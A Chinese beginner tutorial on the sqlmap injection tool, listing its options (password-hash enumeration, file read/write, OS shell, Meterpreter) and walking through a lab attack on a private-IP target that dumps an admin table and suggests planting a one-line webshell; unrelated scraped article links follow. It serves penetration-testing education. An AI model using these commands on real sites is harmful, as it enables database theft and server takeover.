sqlmap注入入门

sqlmap的用法:

​ linux中: sqlmap [选项]

​ Windows中: python sqlmap [选项]

常用的参数及含义:
  • 目标

    ​ -d DIRECT 直接连接数据库

    ​ -u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1")

    ​ -l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址

    ​ -x SITEMAPURL 从远程网站地图(.xml)文件中解析目标

    ​ -m BULKFILE 从文本文件中获取批量目标

    ​ -r REQUESTFILE 从文件中读取 HTTP 请求

    ​ -g GOOGLEDORK 使用 Google dork 结果作为目标

    ​ -c CONFIGFILE 从 INI 配置文件中加载选项

  • 枚举:

    ​ 以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。此外,还可以运行你输入的 SQL 语句

    ​ a, --all 获取所有信息、数据

    ​ -b, --banner 获取 DBMS banner

    ​ --current-user 获取 DBMS 当前用户

    ​ --current-db 获取 DBMS 当前数据库

    ​ --hostname 获取 DBMS 服务器的主机名

    ​ --is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员)

    ​ --users 枚举出 DBMS 所有用户

    ​ --passwords 枚举出 DBMS 所有用户的密码哈希

    ​ --sql-query=QUERY 指定要执行的 SQL 语句

    ​ --sql-shell 调出交互式 SQL shell

    ​ --sql-file=SQLFILE 执行文件中的 SQL 语句

  • 暴力破解:

    ​ 以下选项用于暴力破解测试

    ​ --common-tables 检测常见的表名是否存在

    ​ --common-columns 检测常用的列名是否存在

  • 访问文件系统:

    ​ 以下选项用于访问后端数据库管理系统的底层文件系统

    ​ --file-read=RFILE 读取后端 DBMS 文件系统中的文件

    ​ --file-write=WFILE 写入后端 DBMS 文件系统中的文件

    ​ --file-dest=DFILE 使用文件绝对路径写入到后端 DBMS

  • 访问操作系统:

    ​ 以下选项用于访问后端数据库管理系统的底层操作系统

    ​ --os-cmd=OSCMD 执行操作系统命令

    ​ --os-shell 调出交互式操作系统 shell

    ​ --os-pwn 调出 OOB shell,Meterpreter 或 VNC

    ​ --os-smbrelay 一键调出 OOB shell,Meterpreter 或 VNC


    靶机实战
    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11

可以得出目标主机是Ubuntu,web服务为apache,数据库管理系统是MySQL以及它们的版本信息。

  1. 列举出DBMS中所有的数据库

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --dbs

  1. 获取DBMS当前数据库

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --current-db

  1. 列举出test数据库中的所有表名

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 -D test --tables

 我们发现了一个admin表,猜测其中可能有网站管路员的密码信息
  1. 查询admin表中的所有信息

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --sql-query="select * from test.admin;"
    
    

 我们获得了admin账户的密码,为mysql,我们可以利用admin用户,向目标服务器上传一句话木马,获取webshell。(可以自行百度“一句话木马”)
  1. 调出交互式SQL shell

    root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --sql-shell

在sql-shell可以执行sql查询语句

    select * from test.admin;

和第四步得到的结果是一样的

小结

利用SQLmap可以进行简单的sql注入,方便快捷。利用sqlmap可以查看目标机器的os,DBMS等。还可以可以枚举数据库、表、列。以上结果只是为了演示sqlmap的基本用法,在实际操作中很可能注入失败,可以进一步的查看sqlmap wiki。

sqlmap注入入门的更多相关文章

  1. sqlmap注入小结

    sqlmap注入时: 1.判断可注入的参数 2.判断可以用那种SQL注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些数据 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可 ...

  2. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  3. SQLMAP注入教程-11种常见SQLMAP使用方法详解

    sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...

  4. sqlmap注入教程

    1.SQLMAP用于Access数据库注入 (1)猜解是否能注入win: python sqlmap.py -u "http://www.stronkin.com/en/CompHonorB ...

  5. sqlmap 注入的方法及技巧

    sqlmap 注入的方法及技巧 当给 sqlmap 这么一个 url 的时候,它会: 1.判断可注入的参数 2.判断可以用那种 SQL 注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些 ...

  6. Sqlmap注入工具

    Sqlmap注入工具 http://sqlmap.org/ Sqlmap是国外的一个免费的注入工具,基于python开发,支持现在几乎所有的数据库,支持get.post.cookie注入,可以添加co ...

  7. 在windows系统和kali中通过sqlmap注入

    第1章 在windows系统中通过sqlmap注入 1.1 环境搭建 Sqlmap是目前功能最强大,使用最为广泛的注入类工具,是一个开源软件,被集成于kaliLinux, 由于sqlmap是基于Pyt ...

  8. sql-labs 18-20(sqlmap注入)

    这三题主要是关于HTTP头部的注入 常见的HTTP注入点产生位置为 [Referer].[X-Forwarded-For].[Cookie].[X-Real-IP].[Accept-Language] ...

  9. sqlmap:入门(手工注入)

    一. 联合查询注入union(less-1) 1. union操作符用于合并两个或多个select语句结果集: 2. union后的select语句必须拥有和最前的select语句拥有相同数量的字段, ...

随机推荐

  1. C: printf参数执行顺序与前置后置自增自减的影响

    起源: 今天在了解副作用side-effect的过程中,看到了下面的网页,把我带到了由printf引起的一系列问题,纠结了一整天,勉强弄懂. 第一个代码没什么好解释的.而第二个printf(" ...

  2. nginx简单的命令

    nginx -s reload|reopen|stop|quit #重新加载配置|重启|停止|退出 nginx nginx -t #测试配置是否有语法错误 nginx [-?hvVtq] [-s si ...

  3. Oracle查询字符串数据进行排序,以及去重复

    原本的的一张表,填写数据的字段为字符串varchar2类型,然后进行排序的时候,就会出现问题.会默直接默认判断为第一个数字9最大,而不判断整个数字的大小. 所以,就要用到TO_NUMBER函数 sel ...

  4. [转帖]5G网速那么快,基站辐射会很大吗?

    5G网速那么快,基站辐射会很大吗? 鲜枣课堂 2019-04-20 21:19收藏55评论6社交通讯     题图来自东方IC,本文来自微信公众号:鲜枣课堂(ID:xzclasscom),作者:小枣君 ...

  5. elk部署之前注意事项

    注意事项: 1.不能使用root用户登录,需要是用root 之外的用户登录到系统. 2.centos系统 运行内存不能小于2G,若低于2G需要修改jvm. vi  {jvm_home}/config/ ...

  6. 台达PLC实现远程下载程序

    台达PLC实现远程下载程序 日期:2019-04-27                    时间    08:33:57 让物联变得更简单 18-09-2411:25 明明在公司调试没问题的设备一到 ...

  7. [LOJ3084][GXOI/GZOI2019]宝牌一大堆——DP

    题目链接: [GXOI/GZOI2019]宝牌一大堆 求最大值容易想到$DP$,但如果将$7$种和牌都考虑进来的话,$DP$状态不好设,我们将比较特殊的七小对和国士无双单独求,其他的进行$DP$. 观 ...

  8. jquery笔记整理

    01-jquery简介 1)功能:     ·html元素选取     ·Html元素操作     ·Css操作     ·Html事件函数     ·JavaScript特效和动画     ·DOM ...

  9. 【XSY3344】连续段 DP 牛顿迭代 NTT

    题目大意 对于一个长度为 \(n\) 的排列 \(p\),我们称一个区间 \([l,r]\) 是连续的当且仅当 \((\max_{l\leq i\leq r}a_i)-(\min_{l\leq i\l ...

  10. Java 中数字和字符串拼接的问题

    注意细节 字符是char 类型,字符串是String 类型1.数字拼接char,得到的还是数字,相当于和它的ASCII编码相加(如果定义成String 会编译错误)2.数字拼接String,得到的是S ...